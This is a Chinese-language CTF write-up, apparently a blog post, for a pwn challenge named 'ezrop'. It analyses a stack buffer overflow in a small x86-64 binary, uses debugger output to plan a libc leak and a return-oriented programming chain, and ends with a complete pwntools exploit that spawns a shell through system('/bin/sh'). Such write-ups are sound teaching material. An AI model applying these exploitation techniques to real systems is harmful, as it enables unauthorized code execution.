ezrop

rop.zip - 蓝奏云

$ file ./ezrop 
./ezrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter 
/home/tracs/PWN/FS_PWN/ez-rop/ld-linux-x86-64.so.2, BuildID[sha1]=9f2d832b4eb0dd4d7a10ee0611669adfe61a723f, for GNU/Linux 4.4.0, not stripped

$ ldd ./ezrop 
        linux-vdso.so.1 (0x00007ffe1c3d1000)
        libc.so.6 => /home/tracs/PWN/FS_PWN/ez-rop/libc.so.6 (0x00007770e3400000)
        /home/tracs/PWN/FS_PWN/ez-rop/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007770e37e1000)

$ checksec ./ezrop
[*] '/home/tracs/PWN/FS_PWN/ez-rop/ezrop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/tracs/PWN/FS_PWN/ez-rop'
    Stripped:   No

No PIE 、No Canary 大概率会有溢出漏洞,同时注意到got表可写,也是给了libc版本的。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return sys_read(0, buf, 0x80uLL);
}

很明显的一个溢出漏洞。

.text:0000000000401106 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401106                 public main
.text:0000000000401106 main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401106
.text:0000000000401106 buf             = byte ptr -20h
.text:0000000000401106
.text:0000000000401106                 push    rbp
.text:0000000000401107                 mov     rbp, rsp
.text:000000000040110A                 lea     rcx, [rbp+buf]
.text:000000000040110E                 mov     rax, 0
.text:0000000000401115                 mov     rdi, 0          ; fd
.text:000000000040111C                 mov     rsi, rcx        ; buf
.text:000000000040111F                 mov     rdx, 80h        ; count
.text:0000000000401126                 syscall                 ; LINUX - sys_read
.text:0000000000401128                 pop     rbp
.text:0000000000401129                 retn
.text:0000000000401129 main            endp
.text:0000000000401129
.text:000000000040112A 
.text:000000000040112A weird_func:
.text:000000000040112A                 push    rbp
.text:000000000040112B                 mov     rbp, rsp
.text:000000000040112E                 pop     rdi
.text:000000000040112F                 pop     rbp
.text:0000000000401130                 retn
.text:0000000000401130 _text           ends

同时没在源程序找到backdoor函数,got表内也是空的;基本思路是先泄露libc地址再构造rop链打system('/bin/sh'),但是libc.address的泄露又是一个问题。
但是有syscall可以尝试SROP,但是一个基础的SigreturnFarme需要248字节,0x80是明显不够;
又或者因为read返回值也可以控制rax,存在pop_rdi控制rdi,再配合syscall就可以write(1,stack_addr,0x80),获得stack内存在的libc地址。

pwndbg> stack
00:0000│ rbp rsp 0x7fffffffd980 ◂— 1
01:0008│+008     0x7fffffffd988 —▸ 0x7ffff7c29d90 ◂— mov edi, eax
02:0010│+010     0x7fffffffd990 ◂— 0
03:0018│+018     0x7fffffffd998 —▸ 0x401106 (main) ◂— push rbp
04:0020│+020     0x7fffffffd9a0 ◂— 0x1ffffda80
05:0028│+028     0x7fffffffd9a8 —▸ 0x7fffffffda98 —▸ 0x7fffffffdda9 ◂— '/home/tracs/PWN/FS_PWN/ez-rop/ezrop'
06:0030│+030     0x7fffffffd9b0 ◂— 0
07:0038│+038     0x7fffffffd9b8 ◂— 0xa286dff85ab51074
pwndbg> 
08:0040│+040 0x7fffffffd9c0 —▸ 0x7fffffffda98 —▸ 0x7fffffffdda9 ◂— '/home/tracs/PWN/FS_PWN/ez-rop/ezrop'
09:0048│+048 0x7fffffffd9c8 —▸ 0x401106 (main) ◂— push rbp
0a:0050│+050 0x7fffffffd9d0 —▸ 0x403e30 —▸ 0x4010d0 ◂— endbr64 
0b:0058│+058 0x7fffffffd9d8 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
0c:0060│+060 0x7fffffffd9e0 ◂— 0x5d792007e9971074
0d:0068│+068 0x7fffffffd9e8 ◂— 0x5d79307d603f1074
0e:0070│+070 0x7fffffffd9f0 ◂— 0x7fff00000000
0f:0078│+078 0x7fffffffd9f8 ◂— 0
pwndbg> 
10:0080│+080 0x7fffffffda00 ◂— 0
... ↓     2 skipped
13:0098│+098 0x7fffffffda18 ◂— 0x891a21530864bc00
14:00a0│+0a0 0x7fffffffda20 ◂— 0
15:00a8│+0a8 0x7fffffffda28 —▸ 0x7ffff7c29e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
16:00b0│+0b0 0x7fffffffda30 —▸ 0x7fffffffdaa8 —▸ 0x7fffffffddcd ◂— 'SHELL=/bin/bash'
17:00b8│+0b8 0x7fffffffda38 —▸ 0x403e30 —▸ 0x4010d0 ◂— endbr64

0x7ffff7c29e40 ( __ libc_start_main+128)便是我们所需要泄露的地址。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x3ff000           0x400000 rw-p     1000       0 ezrop
          0x400000           0x401000 r--p     1000    1000 ezrop
          0x401000           0x402000 r-xp     1000    2000 ezrop
          0x402000           0x403000 r--p     1000    3000 ezrop
          0x403000           0x404000 r--p     1000    3000 ezrop
          0x404000           0x405000 rw-p     1000    4000 ezrop
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fb8000     0x7ffff7fbd000 rw-p     5000       0 [anon_7ffff7fb8]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000       0 [stack]

配合vmmap查看libc起始地址为0x7ffff7c00000,轻易可以计算出偏移量为0xc29e40。而现在的问题是:write最多泄漏到rsp+0x58的栈内容,但目标地址在rsp+0xa8,我们还需要控制rsi。

.text:0000000000401107 mov rbp, rsp
.text:000000000040110A lea rcx, [rbp+buf]
.text:000000000040110E mov rax, 0
.text:0000000000401115 mov rdi, 0 ; fd
.text:000000000040111C mov rsi, rcx ; buf
.text:000000000040111F mov rdx, 80h ; count
.text:0000000000401126 syscall

观察原程序发现rsi->rcx->rbp->rsp数据传输链条。所以只需将rsp移动到rsp+0x50,而多个ret恰好可以做到这一点。
至此所有的思路问题都解决了,具体exp经过实践微调后如下:

from pwn import *

context(arch='amd64',os='linux')
context.log_level='debug'

pwn='./ezrop'
elf=ELF(pwn)
libc=elf.libc

LOCAL=True

if LOCAL:
    io=process(pwn)
else:
    io=remote('xxxxx',12345)

def dbg():
    gdb.attach(io)
    pause()

main_addr=0x401106
ret_addr=0x401129
offset=0x28

payload_1=b'a'*offset
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(ret_addr)
payload_1+=p64(main_addr)
sleep(0.1)
io.send(payload_1)

pop_rdi_rbp_addr=0x40112e
syscall_pop_rbp_addr=0x401126

payload_2=b'a'*offset
payload_2+=p64(main_addr)
payload_2+=p64(pop_rdi_rbp_addr)
payload_2+=p64(1)
payload_2+=p64(0)
payload_2+=p64(syscall_pop_rbp_addr)
payload_2+=p64(1)
payload_2+=p64(main_addr)
sleep(0.1)
io.send(payload_2)
sleep(0.1)
io.send(b'\n')

io.recv(0x68)
libc.address=u64(io.recv(8))-0x29e40
success('libc.address:'+hex(libc.address))
io.recv(0x10)
pop_rdi=0x2a3e5+libc.address
binsh_addr = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']

payload_0=b'a'*offset
payload_0+=p64(pop_rdi)
payload_0+=p64(binsh_addr)
payload_0+=p64(ret_addr)
payload_0+=p64(system_addr)
sleep(0.1)
io.send(payload_0)

io.interactive()
posted @ 2026-03-15 23:37  Tracs  阅读(4)  评论(0)    收藏  举报